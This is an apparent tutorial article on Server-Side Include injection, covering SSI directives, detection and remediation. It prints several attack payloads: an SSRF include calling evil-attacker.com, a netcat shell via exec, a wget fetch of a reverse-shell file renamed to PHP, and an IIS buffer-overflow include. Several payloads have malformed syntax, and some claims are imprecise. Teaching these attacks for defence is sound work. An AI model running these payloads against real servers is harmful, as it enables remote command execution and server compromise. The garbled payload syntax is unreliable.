What is Server Side Includes?
Server-Side Includes is a mechanism that help developers insert dynamic content into HTML files without requiring knowledge of the server or client-side programming language specification. When the edge server runs an SSI, it examines the file’s contents, locate directives, and applies them before sending the modified file to the browser or client application. As a result, applications like dynamic content assembly, file includes, inserting common header files, showing content file sizes, and last changed dates can make effective use of SSI.
SSI Injection (Server-side Include) is a server-side exploit technique that allows an attacker to send malicious sever side includes into a web application, which will later be executed locally by the web server. It takes advantage of the web application’s oversight in failing to sanitize user-supplied data prior to its insertion into a server-side interpreted HTML file.
How SSI works?
A web server may parse and run Server-side Include statements before to serving an HTML web page to the client. In some circumstances, a web application will add user-supplied data into the source of a web page (for example, message boards, guest books, or content management systems). The attack outcome is then visible the following time the user’s browser loads that page.
How is SSI Enabled on a Website?
SSI directives are added to the web content to enable SSL, which is then saved with the .shtm or.shtml file extension. In contrast to the web authoring program, which interprets these directives as comments, this directs the server to interpret the directives for proper rendering.
SSI Basic Directive
The basic format of an SSI directive takes the form:
<!–#command parameter=”value” … >
Primary SSI directives include:
config – The config command is a control directive used to modify various SSI components. Includes parameters such as the default server error message (errmsg), file size format (sizefmt), and the date & time format (timefmt)
echo – Inserts SSI and CGI environment variables values while including optional encoding arguments.
exec – Executes an external application, following which the execution output is inserted into the document. This control directive supports cmd arguments from any client app or a cgi program.
flastmod – The last time and date a specified file was modified. It accepts both a virtual path (virtual) and a relative pathname (file) as arguments for locating the document on the server.
include – Inserts text from another document into the current file. It also accepts file and virtual arguments to locate the document.
printenv – Displays all environment variables within the server.
set – A control directive that sets a server-side variable to the specified value.
Impact:
If an attacker submits a Server-side Include statement,
- He may have the ability to execute arbitrary operating system commands,
- Include a restricted file’s contents the next time the page is served
- Reading, updating and deleting arbitrary data/tables from the database
Discovering SSI Vulnerabilities
In order to detect the vulnerability, the following conditions need to be met:
- The webpage supports dynamic content via Server-Side Includes
- It is possible to have user inputs reflected somewhere into the webpage
- Reflected inputs aren’t being sanitized
The page won’t be vulnerable in the absence \filter bypass techniques if input sanitization is occurring and the inputs being sanitized are the same inputs used for HTML tags or SSI directives.
Server-side inclusions require the following characters or keywords:
<, !, #, =, /, ., “, –, >, a,-z A,-Z 0,-9
SSI can be used to generate a variety of exploitation situations by locating a user input that will be reflected on the webpage
The use of the “include” directive, which, when processed by the proxy or load balancer, perform a side HTTP request to fetch dynamic content, makes it feasible for SSI to also result in SSRF, or server-side request forgery. If an attacker can add an include directive to the HTTP response, they can effectively perform SSRF attacks in the context of the surrogate server (not the application server).
For instance, the HTTP proxy could be subjected to an SSRF attack using this payload:
<!–#include src=”http://evil-attacker.com/ping/” />
If you get an HTTP call-back, then the server is vulnerable to SSRF.
The Remote Code Execution vulnerability in these exploitation scenarios would have the most effect and allow for a total compromise of the target server. Given that most webservers (especially those supporting more recent apps) disable the exec directive by default, which is how RCE is initiated, it is worthwhile to test for SSI by using alternative directives like include or echo that may not necessarily be prohibited.
Obtaining RCE is fairly simple if the exec directive is functioning.
<!–#exec cmd=”nc -lvp 4444 -e /bin/bash” –>
SSI injection examples:
- OS Command Execution
These commands are targeted toward manipulating the origin server’s operating system to access files and perform privileged actions. The commands vary according to the operating system deployed on the server.
Examples of Linux command exploits include:
Listing the files in the current directory:
<!-#exec cmd=”ls” – >
Executing an external script:
<!-#exec cmd=”wget http://<IP>/reverse_shell.txt”| rename reverse_shell.txt reverse_shell.php”->
Accessing server configuration files of the root directory:
<!-#exec cmd=”cd /root/dir/” – >
Examples of Windows command exploits include:
Listing files within a directory:
<!-#exec cmd=”dir”- >
Gaining access to content within a directory:
<!-#exec cmd=”cd C:\admin\dir”- >
- Access and Set Server Configuration Details
SSI exploits are most commonly used to access and configure server information. These include:
Displaying the region’s date:
<!- #echo Var=”DATE_LOCAL”->
Displaying when the document was last modified:
<!-#echo Var=”LAST_MODIFIED”->
Displaying the filename and virtual path:
<!-#echo var=”DOCUMENT_URI”->
Changing the server error response message output:
<!-#config errmsg=”File not found, enter username and password”->
Displaying the filename of the current document:
<!-#echo var=”DOCUMENT_NAME” ->
Accessing the size of a selected log file using the Fsize command:
<!-#fsize file=”logs.shtml” ->
Controlling the format of the date and current time output:
<!-#config timefmt=”A %B %d %Y %r”->
- Obtaining System Privileges
The dynamic link library (ssinc.dll), which Windows uses to parse Server Side Includes in older versions of the Internet Information Services (IIS) server software, has a serious vulnerability that allows buffer overflows. This was accomplished by combining a Path Traversal attack with the “include” directive. An attacker would first produce an.shtml file with the include directive and a “file” attribute value more than 2048 bytes, as in the following example:
<!–#include file=” CCCCCCCCCCCCCCCCC ………..CCCCC” –>
Quick note: For a successful attack, the number of Cs is usually longer than 2049.
The hacker will compel the application to load the page via a path transversal attack, assuming this page is called ssi.html and is hosted on the attackers’ domain http://www.attackers.com. Considering the real page had a URL like:
http://www.attacker.com/index.asp?page=welcome.asp
The attacker will craft a query string redirecting the request to a malicious URL of the form:
http://www.attacker.com/index.asp?page=www.atackers.com/ssi.shtml
The IIS service’s blank page response indicates a successful buffer overflow attempt, which the hacker can further exploit to alter data flows and run malicious code.
Remediation:
- Any user-controlled input should be adequately checked to prevent the entry of risky characters that could be regarded as part of an SSI directive.
- Only enable the SSI directives that are required for this page and disable all others.
- Wherever possible, users should not be allowed to upload HTML pages within the application since they can change the page’s content to include SSI statements. User data should be correctly HTML-encoded before being presented if user data must be dynamically inserted into HTML webpage elements.
- Pages with the .stm, .shtm, and .shtm l extensions shouldn’t be included in the application because they are frequently exploited to look for the possibility of SSI attacks.
- To execute the page as the file’s owner rather than the web server user, use SUExec.
